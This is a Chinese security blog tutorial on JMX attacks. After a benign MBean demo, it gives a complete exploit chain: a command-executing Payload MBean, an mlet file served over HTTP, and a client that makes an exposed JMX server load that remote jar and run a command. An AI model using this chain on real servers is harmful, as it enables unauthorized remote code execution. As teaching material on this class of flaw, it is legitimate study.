【入坑JAVA安全】在?進來看看怎麼攻擊JMX吧

前言

這一章我們來說說JMX的安全問題把,內容相對來說比較簡單,當然,我們還是回給出幾個相關的案例

JMX簡介

JMX(Java Management Extensions,即Java管理擴展)是一個爲應用程序、設備、系統等植入管理功能的框架。狹隘的理解,我們可以通過JMX管理、監視我們的java程序。但是不是所有java程序都能被管理,只有通過特定實現的java才能夠被管理,這種特定實現機制就是Mbean。

如上所屬,利用JMX我們可以控制服務端的特定java程序,具體能夠控制哪些java程序,又是如何控制的呢?我們還是用一些小demo來說明。能夠被JMX控制的一種java程序被叫做MBean。接下來我們實現一個MBean

MBean 編寫與控制

每一個MBean都需要實現一個接口,而且這個接口的命名是有講究的,必須以MBean結尾,例如我將編寫一個GirlFriendMBean接口:

import javax.management.DynamicMBean;

public interface GirlFriendMBean {
    String name = "";
    public void setName(String name);
    public String getName();
    public void sayHello();
}

然後我們需要實現這個MBean,同樣的,這個實現的命名也是有講究的,那就是去掉對應接口的的MBean後綴:

import javax.management.DynamicMBean;

public class GirlFriend implements GirlFriendMBean{
    String name;

    public GirlFriend(String name) {
        this.name = name;
    }

    public GirlFriend(){
        this.name = "Angel";
    }
    @Override
    public void setName(String name) {
        this.name = name;
    }

    @Override
    public String getName() {
        return this.name;
    }

    @Override
    public void sayHello() {
        System.out.println("Hello sweet, I am yours");
    }
}

現在實現了MBean,要想他們能夠被遠程的客戶端控制訪問,還需要將其綁定到MBeanServer上,具體實現代碼如下:

import javax.management.*;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.io.IOException;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
    public static void main(String[] args) throws MalformedObjectNameException, NotCompliantMBeanException, InstanceAlreadyExistsException, MBeanRegistrationException, IOException {
        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
        System.out.println("Register bean...");
        // 實例化一個MBean
        GirlFriendMBean girlFriend = new GirlFriend();
        ObjectName objectName = new ObjectName("JMXGirl:name=girlFriend");
        // 綁定到MBeanServer
        mBeanServer.registerMBean(girlFriend, objectName);
        // 創建一個rmi registry
        Registry registry = LocateRegistry.createRegistry(1099);
        // 構造JMXServiceURL
        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
        // 構造JMXConnectorServer
        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
        jmxConnectorServer.start();
        System.out.println("JMXConnectorServer is ready...");
    }
}

運行Server:

在這裏插入圖片描述

然後我們可以用jdk中自帶的jconsole工具訪問jmx server,在jdk的bin目錄下,運行jconsole,天上地址localhost:1099就可以直接訪問到了,可以看到我們實現的JMXGril

在這裏插入圖片描述

我們可以使用jconsole調用JMXGirl的方法,也可以設置其屬性,我調用它的sayHello方法,效果如下:

在這裏插入圖片描述

遠程MBean註冊

上面的的demo展示的是MBean與JMX Server在同一主機上,jmx還提供了一種機制,可以將其他主機上的MBean綁定到別的MBean Server上,着需要用到另外一個文件mlet。我們一起來看一下實現方法把:

注: 以下代碼引用自 https://www.anquanke.com/post/id/194126

public interface PayloadMBean {

    public String runCmd(String cmd) throws IOException, InterruptedException;

}
public class Payload implements PayloadMBean {

    @Override

    public String runCmd(String cmd) throws IOException, InterruptedException {



        Runtime runtime = Runtime.getRuntime();

        Process process = runtime.exec(cmd);

        BufferedReader stdInput = new BufferedReader(new InputStreamReader(process.getInputStream()));

        BufferedReader stdError = new BufferedReader(new InputStreamReader(process.getErrorStream()));



        String stdout_data = "";

        String strtmp;

        while ((strtmp = stdInput.readLine()) != null) {

            stdout_data += strtmp + "\n";

        }

        while ((strtmp = stdError.readLine()) != null) {

            stdout_data += strtmp + "\n";

        }

        process.waitFor();

        return stdout_data;

    }

}

我們將上述代碼打包成jar包,在idea中打jar包參考:https://blog.csdn.net/nopotential/article/details/79018471

然後我們需要編寫一個名爲mlet的文件:

<HTML><mlet code=Payload archive=JMX_Demo2.jar name=MLetCompromise1:name=Payload,id=12></mlet></HTML>

把mlet文件與剛剛創建的jar包放在同一Web目錄下,我們這裏可以直接用python2來簡單搭建一個http server,運行如下命令就行:
python -m SimpleHTTPServer,具體的百度一下吧

然後我們有了MBean,還需要一個MBeanServer吧,這次的MBean Server的實現方式與之前的差別不大,只是綁定的MBean是遠程的而已,具體看下代碼:

import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.management.loading.MLet;
import javax.management.remote.JMXConnectorServer;
import javax.management.remote.JMXConnectorServerFactory;
import javax.management.remote.JMXServiceURL;
import java.lang.management.ManagementFactory;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RemoteMbean {



    public static void main(String[] args){

        try{



            MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();

            //---------------------------------------------

            //remote mbean

            System.out.println("Register MLet bean...");

            MLet mLet = new MLet();

            ObjectName objectNameMLet = new ObjectName("JMXMLet:type=MLet");

            mBeanServer.registerMBean(mLet, objectNameMLet);

            //mLet.getMBeansFromURL("http://192.168.1.110:8080/mlet");

            //-----------------------------------------------------------------

            //mBeanServer.invoke(evilObject.getObjectName(), "getMBeansFromURL", new Object[] {"http://192.168.1.110:8080/mlet"}, new String[] {String.class.getName()});



            //這句話非常重要,不能缺少!註冊一個端口,綁定url後,客戶端就可以使用rmi通過url方式來連接JMXConnectorServer

            Registry registry = LocateRegistry.createRegistry(1099);

            //構造JMXServiceURL

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");

            //創建JMXConnectorServer

            JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);

            //啓動

            jmxConnectorServer.start();

            System.out.println("JMXConnectorServer is running");



        }catch (Exception e){

            e.printStackTrace();

        }

    }

}

可以看到註釋掉中有一個方法getMBeansFromURL,這個方法就是綁定遠程類的關鍵所在,我們可以把mlet的地址作爲其參數,然後當調用這個方法的時候,就會遠程加載mlet文件中指定的jar文件。這個方法不需要在代碼裏直接調用,我們一會可以在jconsole中調用。現在運行這個Server,然後依舊用jconsole連接Server:

調用MLet的getMBeansFromURL,參數就是mlet文件的地址

在這裏插入圖片描述

然後你就會發現窗口裏多了一個類,這個類就是遠程的類了,我們可以執行他的runCmd方法彈個計算器:

在這裏插入圖片描述

控制jmx server端遠程加載MBean

上面的demo是在jmx server本地實現的加載遠程MBean,jmx危險之處就在於這一過程我們可以在客戶端控制。也就是隻要某個主機開啓了jmx server端口,我們就可以通過自己編寫代碼或者使用現成的工具是server端加載遠程的惡意類。

自己編寫代碼,代碼同樣引用別人的:

import javax.management.InstanceAlreadyExistsException;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ObjectName;
import javax.management.openmbean.SimpleType;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXConnectorFactory;
import javax.management.remote.JMXServiceURL;
import java.net.InetAddress;
import java.util.HashSet;
import java.util.Iterator;


public class Exp {
    public static void main(String[] args){
        connectAndCmd("localhost", "1099", "calc.exe");
    }

    static void connectAndCmd(String serverName, String port, String command){

        try{

            JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");

//            System.out.println("URL: " + jmxServiceURL + ", connecting");

            JMXConnector jmxConnector = JMXConnectorFactory.connect(jmxServiceURL, null);

//            System.out.println("Connected: " + jmxConnector.getConnectionId());

            MBeanServerConnection mBeanServerConnection = jmxConnector.getMBeanServerConnection();

            ObjectInstance evil_bean = null;

//            try{
//
//                evil_bean = mBeanServerConnection.getObjectInstance(new ObjectName(OBJECTNAME));
//
//            }catch (Exception e){
//
//                evil_bean = null;
//
//            }

            if(evil_bean == null){

                System.out.println("Trying to create bean...");

                ObjectInstance evilObject = null;

                try{

                    evilObject = mBeanServerConnection.createMBean("javax.management.loading.MLet", null);

                }catch (InstanceAlreadyExistsException e){

                    evilObject = mBeanServerConnection.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));

                }

                System.out.println("Load " + evilObject.getClassName());

                //調用getMBeansFromURL從遠程服務器獲取 MBean

                //加載包含 MLET 標記的文本文件,這些標記定義了要添加到 MBean 服務器的 MBean。

                //MLET 文件中指定的 MBean 將被實例化並在 MBean 服務器中註冊。

                Object res = mBeanServerConnection.invoke(evilObject.getObjectName(), "getMBeansFromURL",

                        new Object[] {String.format("http://127.0.0.1:8000/mlet", InetAddress.getLocalHost().getHostAddress()) },

                        new String[] {String.class.getName()}

                );

                HashSet hashSet = (HashSet)res;

                Iterator iterator = hashSet.iterator();

                Object nextObject = iterator.next();

                if(nextObject instanceof Exception){

                    throw ((Exception)nextObject);

                }

                evil_bean = ((ObjectInstance)nextObject);

            }

            //調用惡意 MBean 中用於執行命令的函數

            System.out.println("Loaded class: " + evil_bean.getClassName() + "--- object: " + evil_bean.getObjectName());

            System.out.println("Calling runCommand with: " + command);

            Object result = mBeanServerConnection.invoke(evil_bean.getObjectName(), "runCmd", new Object[]{command}, new String[]{String.class.getName()});

            System.out.println("Result: " + result);

        }catch (Exception e){

            e.printStackTrace();

        }

    }

}

當然,用現成的工具他不香嗎?個人覺得這個jython版的mjet挺好用的: https://github.com/mogwailabs/mjet

案例

這是最近(19年)爆出的一個apache solr的jmx配置錯誤導致的漏洞(其實就是默認開啓了jmx端口)

這篇文章我放在另外一個項目裏了,只是簡單的復現:

https://github.com/Maskhe/vuls/tree/master/apache_solr/cve-2019-12409

其他

jmx的安全問題不復雜,主要就是對外開放了jmx端口,所以,就這麼簡單帶過吧,see you~

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章